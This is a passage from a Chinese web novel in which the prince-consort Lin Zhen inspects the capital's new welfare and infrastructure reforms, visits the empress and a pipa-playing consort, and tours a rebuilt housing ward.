他负手立于阶前,玄色薄氅在风中微动,深邃的目光扫过长街。身后,仅跟着两名同样身着便装的亲卫,气息内敛,如同寻常家仆。 “殿下可要备车?”管家躬身询问。 “不必。”林臻声音平静,“走走。” 他迈步走下石阶,踏上朱雀大街的青石板路。 晨光熹微,长街已渐渐苏醒。两侧商铺次第开门,伙计们卸下门板,清扫台阶,吆喝声、寒暄声、车轮碾过石板的辘辘声交织成一片市井的喧腾。 空气中弥漫着新出炉的胡饼香气、早点的蒸腾热气、以及远处运河飘来的湿润水汽。 林臻缓步而行,目光沉静地扫过街景。 与记忆中北征前的帝京相比,眼前的长街似乎多了几分鲜活的生气。 “北燕煤专售。”一块新制的黑底金字招牌映入眼帘。 铺面不大,却整洁有序。门口排着不短的队伍,多是穿着粗布短打的脚夫、小贩、以及一些寻常百姓。 铺内,伙计正麻利地称量着乌黑的煤块,掌柜则高声报着斤两和价钱。 “掌柜的,来五十斤蜂窝煤!”一个中年汉子递上铜钱。 “好嘞,老主顾,还是记账?”掌柜笑呵呵地问。 “记账,月底结!”汉子爽快道。 “行,老规矩!”掌柜提笔记下,又高声吆喝,“下一位!” 林臻驻足片刻。 他认得这汉子,是城南福来客栈的帮厨。 北燕煤价廉耐烧,比柴薪省事许多,尤其受小商户和普通百姓欢迎。 看来张俪打通商路、设立专营点的策略,成效显著。 “客官买煤吗?”伙计见他驻足,热情招呼。 “看看。”林臻颔首,目光扫过店内堆放的煤块和特制的蜂窝煤模具,“这煤烧着可好?” “好着呢!”伙计来了精神,“耐烧,烟少,火旺,比柴火强多了,还便宜,您看这蜂窝煤都是特制的,烧起来又省又好用!” “嗯。”林臻点头,未再多言,转身离开。 身后传来伙计热情的送客声。 前行不远,一处热闹的市集。 蔬果鱼肉、针头线脑、布匹杂货,琳琅满目。 叫卖声、讨价还价声此起彼伏,充满烟火气息。 “新到的北地改良犁,轻便省力,开荒垦田,事半功倍!”一个摊贩高声吆喝,摊前围了不少农夫模样的人。 “这犁真如你说的那般好用?”一个老农拿起一副铁木结构的曲辕犁,仔细端详。 “老丈,您试试便知!”摊主拍着胸脯,“工部新制的,用了百工阁楚大人的图纸,轻巧,转向灵活,比老式直辕犁省一半力气,开出的沟又深又直!” “多少钱一副?”老农问。 “不贵,三两银子!官府还有补贴!凭农籍可减半!”摊主道。 “当真?”老农眼睛一亮。 “千真万确,您看,这有工部的告示!”摊主指着旁边一块木牌。 林臻目光扫过告示,上面清晰地写着“推广新式农具,助农增产增收”的字样,落款盖着工部大印。 他微微颔首。楚惜灵改良农具的图纸,工部推广得力,惠及农桑,此乃根本。 “客官买犁吗?”摊主见他气度不凡,试探问道。 “看看。”林臻道,目光落在旁边一个不起眼的角落。 那里,一个穿着工部小吏服饰的年轻人,正耐心地向几个围观的农夫讲解着新式水车的构造原理,地上摊开一张简易图纸。 “此水车利用齿轮传动可提升三倍汲水效率,旱季尤为实用……”小吏讲解得有些磕绊,但态度认真。 “小大人,这齿轮是啥?”一个农夫挠头问。 “就是……就是互相咬合的铁轮子……”小吏比划着,急得额头冒汗。 第748章 不负夫君浴血之劳 林臻眼中闪过一丝笑意。 格物之学,普及不易,然工部能派员深入市井宣讲,已属难得。 他未打扰,悄然离开。 穿过市集,来到一处相对僻静的街巷。 这里多是民居,粉墙黛瓦,青石板路被岁月磨得光滑。 几个孩童在巷口追逐嬉戏,笑声清脆。 一位老妪坐在门前的矮凳上,眯着眼,就着晨光缝补衣物。 墙角,几只肥硕的母鸡悠闲地啄食着地上的谷粒。 “王婆婆,您家领了孤老粮没?”一个提着菜篮的妇人路过,停下脚步问。 “领了领了……”老妪抬起头,脸上皱纹舒展,“月初里正亲自送来的一斗米,半斤油还有两百文钱,够老婆子吃用一阵了。” “那就好!”妇人笑道,“朝廷如今真是体恤咱们……” “是啊是啊……”老妪连连点头,“听说是陛下亲自下旨要善待孤老。” 林臻脚步微顿。 慕容嫣……她果然将此事放在心上。 设立“孤老抚恤司”,由户部拨款,地方里正负责发放,确保真正惠及无依无靠的老人。 此事虽小,却见仁心。 “这位郎君,您找人吗?”老妪注意到他,和善地问。 “路过。”林臻微微颔首。 “哦……郎君慢走……”老妪继续低头缝补。 临近午时,林臻来到城南的“文华坊”。 此处书肆林立,墨香四溢。 不少身着儒衫的学子穿梭其间,或驻足翻阅,或低声交谈。 “掌柜可有新版的《格物初阶》?”一个年轻学子问。 “有,刚到货!”掌柜从柜台下取出一本装帧朴素的蓝皮书,“楚大家编撰,工部监印,里面有杠杆原理、滑轮应用、简易水车图说,都是实用之学,才五百文!” “五百文?这么便宜?”学子惊讶。 “朝廷补贴,推广格物之学,造福民生!”掌柜笑道,“陛下说了,学问不能只藏在书斋里,要惠及百姓!” “陛下圣明!”学子肃然起敬,掏钱买下。 林臻在书肆外驻足片刻,看着学子们争相购买《格物初阶》、《农桑辑要》、《百工图谱》等实用书籍,眼中闪过一丝欣慰。 慕容嫣此举,开风气之先,将学问从高阁引向田野工坊,功在长远。 日头渐高,林臻转回朱雀大街,在一家名为“清风楼”的茶肆二楼临窗雅座坐下。 要了一壶碧螺春,几样精致茶点。 凭窗望去,长街繁华尽收眼底。 车水马龙,行人如织。 商贩吆喝,顾客盈门。粮店门口,伙计正卸下新到的“江南贡米”,米粒饱满晶莹。 布庄前,妇人挑选着“苏杭新绸”,色泽鲜亮。 药铺里,坐堂郎中为病人诊脉,学徒忙着抓药。 更有挑着担子的货郎,摇着拨浪鼓,叫卖着针线、糖人、泥哨等小玩意儿。 孩童们围着货郎嬉笑追逐,清脆的笑声洒满长街。 远处,运河码头方向,帆樯林立,号子声隐约传来。 那是漕运的船只正在装卸货物,将南方的丝绸、茶叶、瓷器运来,又将北方的毛皮、药材、煤炭运走。 帝国的血脉,在这条古老的水道上,汩汩流淌。 林臻端起茶盏,轻抿一口。碧螺春的清香在舌尖萦绕。 他静静地看着窗外的繁华盛景,心中波澜起伏。 北燕的惊雷,焚天雷的阴影,边境的烽烟似乎都远去了。 眼前这太平盛世的画卷,才是他浴血奋战、殚精竭虑所求的最终归宿。 新政初显成效,民生渐有起色,格物之学播撒种子,慕容嫣母仪天下,体恤民情,一切,都在向好的方向发展。 然,他深知,这安宁如同秋日薄冰。 柔然、高昌虎视眈眈,朝中暗流未平,新政推行阻力犹存,民生改善尚需时日。 前路依旧漫长。 日影西斜,林臻起身下楼。 亲卫已悄然结账。 他缓步走出茶肆,融入熙攘的人流。 夕阳的金辉洒在长街上,为这繁华的帝京镀上一层温暖的光晕。 回到皇宫,穿过重重宫门,径直走向御书房。 殿内,烛火通明。 慕容嫣一身明黄常服,未戴凤冠,只绾着简单的云髻,簪一支金凤步摇,正伏案批阅奏章。 她眉目如画,气质雍容,专注的神情中带着一丝不易察觉的疲惫。 案头堆着小山般的奏本,旁边放着一碟几乎未动的点心和半盏凉透的参茶。 “嫣儿……”林臻步入殿内,声音低沉。 慕容嫣闻声抬头,看见他,眼中瞬间漾开温柔的笑意,如同冰雪初融:“夫君来了。” 她放下朱笔,起身相迎。 “嗯。”林臻走到案前,目光扫过堆积的奏本,“去街上走了走,看看新政成效。” “哦?”慕容嫣眼中闪过一丝兴趣,“夫君所见如何?” “北燕煤惠及百姓,新式农具推广得力,孤老抚恤落实到位,格物之学渐入人心。”林臻言简意赅,“长街繁华,百姓安乐,陛下治国有方。” 慕容嫣脸上泛起淡淡的红晕,眼中却带着由衷的喜悦:“此乃夫君与诸位臣工戮力同心之功。妾身不过是坐享其成。” “陛下过谦了。”林臻目光落在她略显疲惫的脸上,“新政推行阻力重重。若无陛下居中调度,鼎力支持,难有今日之效。” “夫君……”慕容嫣心中一暖,握住他的手,“妾身只愿做夫君身后最坚实的后盾。这江山是夫君一刀一枪打下来的,妾身只盼能将它治理好,让百姓安居乐业,不负夫君浴血之劳。” “嫣儿心意,为夫明白。”林臻反握住她的手,指尖传来微凉的温度。 “慕容嫣乖巧点头,拉着他走到案旁,“夫君看看这个工部新呈的‘京畿水利疏浚图’还有户部关于‘江南水患赈灾’的条陈。” 林臻与她并肩立于案前,一同审视图纸与奏本。 烛火摇曳,映照着两人相依的身影。 他指点着图纸上的河道走向,分析着疏浚工程的利弊;她则补充着赈灾钱粮的调配细节,提出安置流民的方案。 两人低声交谈,默契十足,如同最默契的搭档,共同谋划着这片江山的未来。 宫女悄然奉上热茶和重新温过的点心。 慕容嫣拿起一块精致的桂花糕,递到林臻唇边:“夫君尝尝,御膳房新制的。” 林臻就着她的手咬了一口,清甜软糯,带着浓郁的桂花香。“嗯,不错。” 慕容嫣眉眼弯弯,自己也拈起一块小口吃着。 案头堆积的奏章,窗外的沉沉夜色,仿佛都被这温馨的瞬间隔绝在外。 此刻,他们不是威震天下的镇北王与母仪天下的女帝,只是一对心意相通、携手并肩的寻常夫妻,在这方烛光摇曳的御书房内,分享着简单的甜蜜,谋划着共同的未来。 第749章 月妩抚琴 栖霞苑西北隅,“听雪楼”的秋晨,带着一种与世隔绝的清寂。 楼阁临水而建,三面环窗,窗外是一片开阔的荷塘。 深秋时节,荷叶早已凋零,枯黄的茎秆倔强地挺立在清冷的池水中,倒映着铅灰色的天空。 几株高大的梧桐树矗立楼侧,金黄的叶片在晨风中簌簌飘落,铺满水榭前的石阶,如同铺了一层柔软的地毯。 空气清冽,弥漫着枯荷的微涩、落叶的腐朽气息,以及一丝若有若无的、清冷的檀香。 水榭内,月妩已起身多时。 她一身月白色素锦长裙,裙摆绣着疏淡的银色云纹,乌发未绾,仅用一根素银簪松松挽在脑后,几缕碎发垂落颊边,衬得肌肤愈发白皙,近乎透明。 她跪坐在临窗的蒲团上,面前一张矮几,几上置一尊小巧的紫铜香炉,炉中青烟袅袅,升起又散开,带着清冷的檀香气息。 她怀中抱着一把紫檀木琵琶,琴身油亮,弦丝如银。 她并未弹奏,只是垂眸静坐,指尖无意识地轻抚着冰凉的琴弦,目光落在窗外萧瑟的荷塘上,眼神空灵而遥远,仿佛沉浸在自己的世界里。 林臻的脚步落在水榭外的木栈道上,发出轻微的“吱呀”声。 他今日未着常服,换了一身玄色暗云纹的箭袖常服,外罩同色薄氅,刚自演武场归来,身上还带着一丝未散的寒气与锐意。 他刻意放缓了脚步,停在敞开的雕花木门外,目光落在水榭内那个清冷如月的身影上。 晨光透过窗棂,在她身上投下朦胧的光晕,如同笼罩着一层薄纱。 那份遗世独立的孤寂感,与窗外枯荷残叶的景致融为一体,构成一幅静谧而略带哀伤的画卷。 他没有立刻进去,只是静静地看着。 看她指尖在琴弦上无意识的滑动,看她空灵眼眸中倒映的枯荷残影,看她被晨风吹拂的几缕发丝。 这份沉静,如同深潭古井,无声无息,却自有其摄人心魄的力量。 片刻,他方抬步,走入水榭。 “妩儿。”他的声音低沉温和,如同投入潭水的石子,打破了水榭的寂静。 月妩闻声,指尖一顿,缓缓抬眸。清冷的眼眸望向他,如同月光穿透薄雾,带着一丝不易察觉的波动。她并未起身,只是微微颔首:“夫君。” “在想什么?”林臻走到她身侧,目光同样投向窗外萧瑟的荷塘。 “看残荷。”月妩声音清越,如同冰泉滴落,“枯而不倒,败而不朽,别有一番风骨。” “秋日肃杀。”林臻道,“然蓄势待发,以待来春。” 月妩微微侧首,清冷的眸光落在他沉静的侧脸上:“夫君此言,甚合禅意。” “非禅意。”林臻目光收回,落在她怀中的琵琶上,“乃天道轮回。盛极而衰,衰极复盛。” 月妩沉默片刻,指尖轻轻拨动一根琴弦,发出一声清越的颤音:“如琴弦。张弛有度。过紧易断,过松失音。” “妩儿懂琴。”林臻道。 “琴亦懂人。”月妩垂眸,指尖再次抚过琴弦,“喜怒哀乐,皆在弦上。” “那妩儿此刻,弦上是何音?”林臻问。 月妩抬起眼,清冷的眼眸直视着他,目光澄澈如水:“是静音。” “静音?”林臻挑眉。 “心静则音静。”月妩道,“夫君可愿听一曲?” “洗耳恭听。”林臻在另一张蒲团上坐下。 月妩调整坐姿,将琵琶抱稳。 她深吸一口气,指尖轻抬,落在弦上。 并未立刻拨动,只是凝神静气,仿佛在积蓄某种力量。 片刻,指尖轻勾,一声低沉而浑厚的散音响起,如同古寺晨钟,穿透寂静。 随即,一连串清越的泛音如同珠玉落盘,叮咚作响,在清冷的空气中跳跃、流淌。 她弹的是一曲《平沙落雁》,琴音空旷悠远,带着秋日的寂寥与旷达,仿佛将人带入广袤无垠的沙洲,看孤雁南飞,听长风掠过。 林臻闭目聆听。 琴音时而高亢如雁唳长空,时而低回如雁落平沙,时而急促如风卷黄沙,时而舒缓如秋水长天。 月妩的琴技已臻化境,指法干净利落,音色纯净通透,更难得的是那份融入琴音中的心境——清冷、孤寂、却又带着一种超脱的淡然。 琴音在水榭内回荡,与窗外的枯荷、落叶、清冷的池水融为一体,构成一幅有声的秋意图。 一曲终了,余音袅袅,在水榭内盘旋不去。 月妩指尖轻按琴弦,止住余韵,清冷的脸上依旧无波无澜,唯有额角渗出细密的汗珠,显示出方才的专注与投入。 “好一曲《平沙落雁》。”林臻睁开眼,目光深邃,“妩儿琴音,已入化境。” “夫君过誉。”月妩放下琵琶,取过丝帕,轻轻擦拭额角,“琴为心声,心未至,音难至。” “妩儿心中可有波澜?”林臻问。 月妩抬眸,清冷的眼眸望向他,沉默片刻,缓缓道:“有,亦无。见枯荷,思盛景。听雁鸣,念故园。然盛景易逝,故园难归,唯余此身,此琴,此心,安于当下。” 她的声音平静无波,却道尽了漂泊者的寂寥与淡然。 林臻看着她清冷眼眸深处那一闪而过的微澜,心中了然。她出身江南书香门第,因家族变故,辗转流离,最终被送入王府。那份对故园的思念,如同深埋的种子,虽不常显露,却从未消失。 午后,阳光透过云层,洒下些许暖意。 “听雪楼”二楼书房,陈设清雅。 靠窗一张紫檀木大书案,案上文房四宝齐备,镇纸下压着一幅未完成的墨荷图。 靠墙一排书架,摆满了古籍善本、琴谱曲集。 空气中弥漫着墨香与檀香交织的气息。 月妩立于书案前,手持紫毫,笔尖蘸了浓墨,正凝神描绘着画中一片枯卷的荷叶。 笔法苍劲有力,墨色浓淡相宜,将荷叶的残破与风骨表现得淋漓尽致。 林臻坐在窗边的竹榻上,手中拿着一卷《乐府诗集》,目光却落在她专注的侧影上。 阳光勾勒出她清瘦的轮廓,专注的神情带着一种遗世独立的孤高。 “妩儿画荷,不画花?”林臻放下书卷。 “花易逝。”月妩笔尖未停,声音清冷,“叶虽枯,犹存筋骨,更耐品。” “风骨存于败叶。”林臻颔首,“如同气节存于乱世。” 月妩笔尖微顿,抬眸看了他一眼,清冷的眼眸中闪过一丝微光,随即又垂下,继续作画:“夫君此言,深得画意。” “非画意。”林臻起身,走到书案旁,“乃实感。北燕风雪,边关烽火,见多了枯骨,亦见多了傲骨。” 第750章 兴化坊 月妩沉默,笔下却更加沉稳。她在画中添上一只孤雁,振翅掠过枯荷,飞向远方的天际。 “此雁欲归何处?”林臻问。 “心之所向,便是归处。”月妩道,声音带着一丝不易察觉的怅惘。 林臻不再言语,只是静静地看着她作画。 书房内一片寂静,唯有笔尖划过宣纸的沙沙声,以及窗外偶尔传来的落叶声。 这份宁静的陪伴,如同无声的溪流,缓缓流淌在心间。 暮色四合,“听雪楼”水榭内点起了纱灯。 暖黄的灯光驱散了秋夜的寒意,在池水上投下摇曳的光影。 矮几上,摆着几样清淡的素斋:清炒笋尖、素烩三鲜、翡翠豆腐羹,还有一碟月妩亲手做的、晶莹剔透的桂花藕粉糕。 一壶温热的菊花茶散发着清雅的香气。 “妩儿饮食,如此清淡?”林臻看着桌上的素斋。 “心静则味淡。”月妩为他斟茶,动作优雅,“夫君若觉寡淡,妾身可让厨房……” “不必。”林臻端起茶盏,“清心寡欲,亦是修行。” 两人安静地用着晚膳。 月妩进食无声,细嚼慢咽,姿态优雅。 林臻亦不多言。水榭内,只有碗箸轻碰的细微声响,以及窗外池水轻漾的微响。 “夫君,”月妩放下银箸,清冷的眼眸望向窗外沉沉的夜色,“北燕此时,该下雪了吧?” “嗯。”林臻颔首,“毛梦极奏报,半月前已降初雪。” “雪覆盖一切,亦掩埋一切。”月妩声音带着一丝飘渺,“战场的血痕,将士的骸骨,都归于洁白。” “雪亦孕育生机。”林臻道,“待来春,雪化,万物复苏。” “是。”月妩收回目光,看向他,“如同琴音。一曲终了,余韵散尽,方有新曲再起。” “妩儿心中,可有新曲?”林臻问。 月妩沉默片刻,起身走到琴案旁,抱起琵琶。 她并未立刻弹奏,只是指尖轻抚琴弦,目光落在林臻身上,清冷的眼眸在灯下显得格外深邃。 “妾身新谱一曲,名为《归鸿》。”她声音清越,“夫君可愿一听?” “洗耳恭听。”林臻正襟危坐。 月妩凝神静气,指尖落下。 琴音初起,低沉而舒缓,如同离群的孤雁在暮色中徘徊低鸣, 带着迷茫与孤寂。继而,琴音渐高,如雁唳长空,带着挣扎与奋飞之意,在凛冽的寒风中搏击。 琴音时而急促如骤雨狂风,时而低回如哀鸣呜咽,将孤雁的漂泊、挣扎、思念、不屈演绎得淋漓尽致。 高潮处,琴音陡然拔高,如同冲破云霄的决绝,带着一往无前的勇气。 最终,琴音渐缓,渐弱,如雁落平沙,归于沉寂,唯余一丝若有若无的颤音,如同归途中的回望,带着释然与安宁。 一曲终了,水榭内久久无声。唯有纱灯的火苗在微风中摇曳,映照着月妩清冷而略显疲惫的脸庞。 “《归鸿》……”林臻缓缓开口,声音低沉,“孤雁终归何处?” 月妩放下琵琶,清冷的眸光在灯下显得格外明亮:“心之所安,便是归处。” “何处心安?”林臻追问。 月妩起身,走到他面前,清冷的脸上第一次绽开一抹极淡、却无比清晰的微笑,如同冰雪初融,春花乍放。 她伸出手,指尖轻轻拂过他微凉的掌心。 “此处。”她声音清越,带着前所未有的坚定,“有夫君在处,便是心安归处。” 林臻心头一震,反手握住她微凉的手指。那指尖带着常年抚琴留下的薄茧,此刻却传递着一种滚烫的力量。 他看着她清冷眼眸中倒映的灯火和自己,那里再无孤寂,唯有全然的信任与归属。 纱灯摇曳,池水无声。水榭内,两人执手相望,无需言语。 窗外的枯荷残叶,在夜色中静默。 归鸿已落,心有所归。 这“听雪楼”的清冷琴音,终是奏响了最温暖的归心之曲。 晨光熹微,薄雾如轻纱般笼罩着帝京东城的兴化坊,为这片焕然一新的土地披上了一层柔和的金辉。 林臻一身靛青素面锦缎常服,步履沉稳地行走在坊间新铺就的青石板路上,身后仅跟着两名气息内敛、身着便装的亲卫。 空气中弥漫着清新的草木气息,混合着远处早点摊飘来的烟火气,全然不见三年前那场吞噬半个坊市的冲天大火后留下的焦糊与混乱。 眼前的景象,与他记忆中那场因灶火不慎引发、烧毁数百户家园、死伤惨重的惨剧现场,已是天壤之别。 昔日的兴化坊,低矮杂乱的木构棚户拥挤不堪,狭窄泥泞的道路污水横流,火灾隐患如同悬顶之剑。 而如今,呈现在他眼前的,是一座规划井然、气象蓬勃的新家园。 取代那些摇摇欲坠棚户的,是数十栋整齐划一、拔地而起的五层砖混结构楼房。 青灰色的机制砖墙体,勾缝平整如刀裁,砂浆饱满泛着坚实的光泽,在初升的阳光下显得格外沉稳。 楼体方正简洁,每一层都镶嵌着宽大明亮的玻璃窗,墨绿色的窗框清爽利落,透出几分现代气息。 楼顶并非传统的瓦片覆盖,而是铺设了特制的防水油毡,边缘砌筑着半人高的女儿墙,既保障了安全,又增添了几分利落的美感。 每栋楼前都预留了一片方正的空地,新移栽的银杏、梧桐舒展着嫩枝,低矮的冬青灌木环绕四周,虽未成荫,却已透出勃勃生机,为这片钢筋水泥的丛林注入了自然的活力。 工部员外郎李显,这位负责兴化坊重建工程的官员,此刻正躬身跟在林臻身侧半步之后,语气中带着一丝不易掩饰的自豪,低声介绍道: “殿下,这便是按您与楚大人定下的规制,第一批建成的‘安居楼’。五层砖混结构,石灰砂浆砌筑,内嵌钢筋骨架,防火防震之能,远超旧式木楼百倍。” 林臻微微颔首,目光沉静地扫过这些崭新的楼宇。 这砖混结构,是他借鉴海外建筑理念,结合大乾国情,与楚惜灵反复推敲、试验才最终确定的方案。 以石灰砂浆替代易腐的黄泥,以钢筋骨架增强整体稳定性,虽在初期投入上高于传统木构,但其带来的安全性与耐久性,却是无法估量的价值。 眼前这片拔地而起的家园,正是格物之学应用于民生、新政惠及百姓最直观的体现。 他随即问道:“住户如何分配?” 李显连忙回禀:“回殿下,原址受灾户享有优先权,按户分配。小户人家分配一室一厅,大户人家则得两室一厅。每户皆配有独立的厨卫设施,楼内设有公共水房,定时供水,屋顶设有专门的晾晒区。此外,底层预留了商铺位置,由府衙统一招租,所得租金用于补贴坊内公共事务开支。” 林臻闻言,眼中闪过一丝满意。独立厨卫的设计,从根本上改善了底层民众的卫生条件;公共设施的完善,则大大提升了生活的便利性,这些都是实实在在的惠民之举。 林臻沿着宽阔的主干道继续前行。 脚下是平整干净、不见积水泥污的青石板路,两侧设有砖砌的排水明沟,沟内水流清澈见底,无任何杂物淤塞。 每隔数十步,便能看到一个漆成绿色、带盖的木制垃圾桶,桶身上用端正的楷书写着“爱护坊市,垃圾入桶”的标语。 李显指着不远处一个身着蓝色粗布短褂、手持长柄竹扫帚和簸箕,正一丝不苟清扫落叶的老者,解释道: “殿下,每日卯时与酉时,都有专门的保洁员负责清运垃圾。这些岗位优先提供给坊内无业或半劳力者,由府衙支付工钱。” 正说着,一个约莫五六岁、虎头虎脑的孩童,手里捏着一块啃完的果核,蹦蹦跳跳地跑到一个垃圾桶旁,踮起脚尖,努力地将果核投入桶内。 不远处,一位提着菜篮的老妇人见状,脸上绽开赞许的笑容,扬声夸奖道:“阿宝真乖!垃圾要入桶!” 孩童得了夸奖,得意地拍拍小手,欢快地跑开了。 李显压低声音补充道:“坊内还设有‘卫生纠察’,由里正推举坊间德高望重的长者或热心街坊担任,虽无俸禄,但在‘文明户’评选中享有加分。他们的职责是劝阻、记录乱丢垃圾、随地吐痰、便溺等不文明行为。对屡教不改者,上报坊正,罚做公益清扫。” 林臻的目光扫过洁净得几乎一尘不染的街面,微微颔首。 他深知,良好的环境,硬件设施是基础,但长效的维护更依赖于软性的管理和居民的自觉。 这种居民自治、相互监督、奖惩分明的模式,才能让整洁持久。 穿过几排整齐的安居楼,眼前豁然开朗。 第751章 焕然一新 一条宽约三丈的河流,自西向东,宛如一条碧绿的玉带,蜿蜒流过兴化坊的南侧。 河水清澈见底,在晨光下波光粼粼,倒映着两岸新砌的条石驳岸和随风轻曳的依依垂柳。 河面上,不见任何漂浮的垃圾或油污,记忆中那刺鼻的粪水恶臭更是荡然无存。 几只不知名的水鸟在河心自在嬉戏,时而扎入水中,叼起银亮的小鱼。 李显指着河道介绍:“殿下,此乃金水河支流。 昔日,沿岸私搭乱建严重,粪水、污水直排入河,臭气熏天,蚊蝇滋生,疫病时有发生,实乃坊内一大顽疾。” 林臻问道:“如何治理?” 李显详细回禀:“回殿下,治理分四步。其一,拆除所有临河违建,退让十丈,修筑坚固的条石驳岸并设置护栏,确保安全与整洁。 其二,铺设地下陶管排污总管,连接各安居楼及新建的公厕(均为砖混结构,专人管理),所有生活污水、粪水统一汇入总管,输送至城外新建的大型‘化污池’。 经沉淀、发酵,残渣制成肥料,清水则引入芦苇湿地进行二次净化,达标后方才排入河道。 其三,设立‘河长制’,由坊正兼任,每日巡查河道,监督保洁,严禁任何向河中倾倒垃圾、排放污水的行为,违者重罚。 其四,在河中放养食藻鱼苗,种植水生植物,利用生态方式进一步净化水质。” 正说着,几个半大的孩童,拿着自制的简陋网兜和小木桶,在河边浅水处嬉笑着捕捉小鱼小虾,欢声笑语在河面上飘荡。 一位须发皆白的老者,坐在柳树下的石凳上,手持钓竿,神情悠闲。 见林臻一行驻足观望,老者抬起头,脸上洋溢着满足而感激的笑容,朗声道:“这位郎君,可是来看咱们这‘清水河’的?托圣上和王爷的洪福,这河可算活过来了!老头子我,又能像年轻时一样,坐在这里钓鱼喽!” 林臻看着老者满足的笑容和孩童们嬉戏的身影,听着那清澈的河水潺潺流淌,心中涌起一股深切的欣慰。 这条河的蜕变,是工部、户部、焚雷司通力协作的成果,更是一项系统性的市政工程和严格管理制度的胜利。 林臻一行转入坊内新设的“便民市集”。 市集位于几栋安居楼围合的中心广场,地面同样铺着干净整洁的青石板。 摊位整齐有序地排列着,蔬果鱼肉水灵新鲜,针头线脑日用百货琳琅满目。 商贩们衣着整洁,脸上带着热情的笑容,吆喝声此起彼伏。 顾客多是坊内的居民,提着菜篮,悠闲地挑选着,讨价还价声不绝于耳,却不见争执喧哗,一派祥和景象。 “新鲜的青菜哟!早上刚从南郊菜园子拉来的!水灵着呢!”一个菜贩中气十足地吆喝着。 “大娘,您瞧瞧这‘北燕煤’做的蜂窝煤,火旺耐烧,烟少灰少,还干净!府衙有补贴价,划算着呢!” 一个煤铺的伙计正向一位老妇人热情推销。 “郎君,看看这新到的‘格物院’改良纺锤,纺起线来又快又匀,省时省力!” 一个货郎摆弄着手中精巧的木制器械,卖力地介绍着。 林臻在一个蒸汽腾腾的早点摊前停下脚步。 摊主是一对中年夫妇,摊车擦得锃亮,几层蒸笼冒着诱人的白气,散发出包子的香气。 “郎君,来屉包子?猪肉大葱馅的,刚出锅,热乎着呐!” 男摊主手脚麻利,热情招呼。林臻示意亲卫:“来一屉。” 摊主应声“好嘞!” 麻利地用竹夹夹起几个白胖的包子,用干净的油纸包好,递给亲卫, “三文钱!您拿好!” 林臻付钱时,目光落在摊车旁挂着的一块小木牌上,上面用红漆写着醒目的“卫生甲等”四个字。 一旁的女摊主见状,脸上露出自豪的笑容,接口道:“郎君,这是坊里每月‘卫生评比’发的牌子!那些‘纠察’们查得可严了!灶台干不干净?抹布消没消毒?垃圾及不及时清走?食材新不新鲜?样样都得过关!评上这‘甲等’,街坊邻居都信得过,生意都好做不少呢!” 旁边一个卖水果的摊主也凑过来,感慨道:“是啊!以前这地方乱糟糟的,苍蝇嗡嗡乱飞,谁愿意来买东西?现在多干净!大家伙儿都自觉了!别说乱丢垃圾,就是随地吐口痰,都怕被纠察看见,臊得慌!” 林臻听着摊主们七嘴八舌却充满自豪的议论,看着他们脸上洋溢的满足笑容和眼中闪烁的光彩,一股暖流悄然涌上心头。 他深切地感受到,安居方能乐业。 环境的彻底改善,管理的规范有序,不仅极大地提升了居民的生活品质和便利,更深层次地重塑了人们的精神面貌和行为习惯。 这份由内而外、自发自觉的改变,才是新政最深远、最动人的成效。 在李显的陪同下,林臻登上了其中一栋安居楼的顶层天台。 天台宽敞平整,四周砌着齐腰高的砖护栏,视野极为开阔。 凭栏远眺,整个兴化坊如同一幅精心绘制的画卷在眼前铺展开来: 整齐划一的青灰色楼宇,洁净如洗的青石板街巷,宛如碧玉般清澈蜿蜒的河流,以及中心广场上人头攒动、充满烟火气的便民市集,共同构成了一幅生机勃勃、安居乐业的盛世图景。 远处,帝京巍峨的城墙轮廓在晨雾中若隐若现,更添几分恢弘。 李显在一旁指点着介绍: “殿下请看,那边青瓦白墙的新建院落,是‘蒙学堂’,由府衙出资兴建,流官执教,坊内所有适龄孩童皆可免费入学识字。那边挂着‘杏林春暖’匾额的是‘惠民医馆’,坐堂郎中经验丰富,药费享有府衙补贴,大大方便了坊民就医。还有那边预留的空地,” 他指向一片平整的土地, “计划开春后动工,建一个小花园,设些石凳石桌,栽些花草树木,供街坊邻里茶余饭后休憩闲谈。” 林臻静静地听着,深邃的目光扫过这片充满希望的土地,心中波澜起伏。眼前的兴化坊,早已超越了一个简单重建的小区概念。 它是一个缩影,一个样板,凝聚着新政推行以来的无数心血——格物之学的创新应用,流官制度的有效推行,以及一系列惠民政策的扎实落地。 它用铁一般的事实证明,只要方向正确,方法得当,决心坚定,惠民利民绝非空谈,而是可以触摸到的现实。 他唤道:“李显。” 李显立刻躬身应道:“下官在!” 林臻的声音沉稳而有力:“兴化坊,是朝廷新政惠民的‘样板’。其重建规制、管理经验、运行模式,务必详实记录,汇编成册,形成可推广的章程,分发至各州府,以为借鉴。” 李显眼中闪过激动,深深一揖:“下官遵命!定当竭尽全力,不负殿下所托!” 林臻的目光再次扫过楼下嬉戏的孩童、闲谈的老人、忙碌的商贩,补充道:“另,坊内若有鳏寡孤独、老弱病残,生活确系困顿者,务必查明实情,登记造册,及时上报。由府衙设立专项抚恤,务必确保其衣食无忧,勿使一人流离失所,饥寒交迫。” 李显神色肃然,郑重应道:“是!殿下仁德!下官定当尽心竭力,体察民情,落实抚恤,绝不让殿下的仁政落空!” 林臻最后深深地看了一眼这片在废墟上重生、充满生机与希望的土地,转身缓步下楼。 温暖的阳光洒满肩头,明亮而和煦。 第752章 虎子 晨光渐盛,薄雾散尽,秋日的暖阳毫无保留地洒落在兴化坊洁净的青石板路上,将整齐的楼宇、葱郁的绿植、清澈的河流都镀上了一层温暖的金色。 林臻在工部员外郎李显的陪同下,并未立刻离开这片焕发新生的土地,而是决定深入坊内,走进寻常百姓家,亲身体验这安居工程的细微之处。 李显引着林臻,来到其中一栋安居楼的一单元门前。 楼门是厚实的橡木制成,刷着深棕色油漆,门框上方镶嵌着一块小小的铜牌,刻着“安居楼甲字叁号”的字样。 李显掏出钥匙,打开单元门,一股混合着新木料和淡淡皂角香气的清新气息扑面而来。 楼道内宽敞明亮,地面铺着水磨石,光洁可鉴。 两侧墙壁刷着柔和的米白色涂料,楼梯扶手是打磨光滑的硬木制成。 李显介绍道:“殿下,每栋楼皆设两个单元门,每单元一梯两户。楼道每日由住户轮值清扫,保持整洁。” 他们拾级而上,来到二楼。 李显敲响了东户的房门。 片刻,门开了,一位约莫五十岁上下、衣着整洁、面容和善的妇人出现在门口。 她看到李显,脸上立刻露出热情的笑容:“李大人,您来了!” 随即目光落在林臻身上,虽不认识,但见其气度不凡,又由李大人陪同,连忙恭敬地侧身让开:“快请进!快请进!” “王大娘,叨扰了。”李显笑着介绍,“这位是工部上官,特来查看咱们安居楼住户的生活情况。” 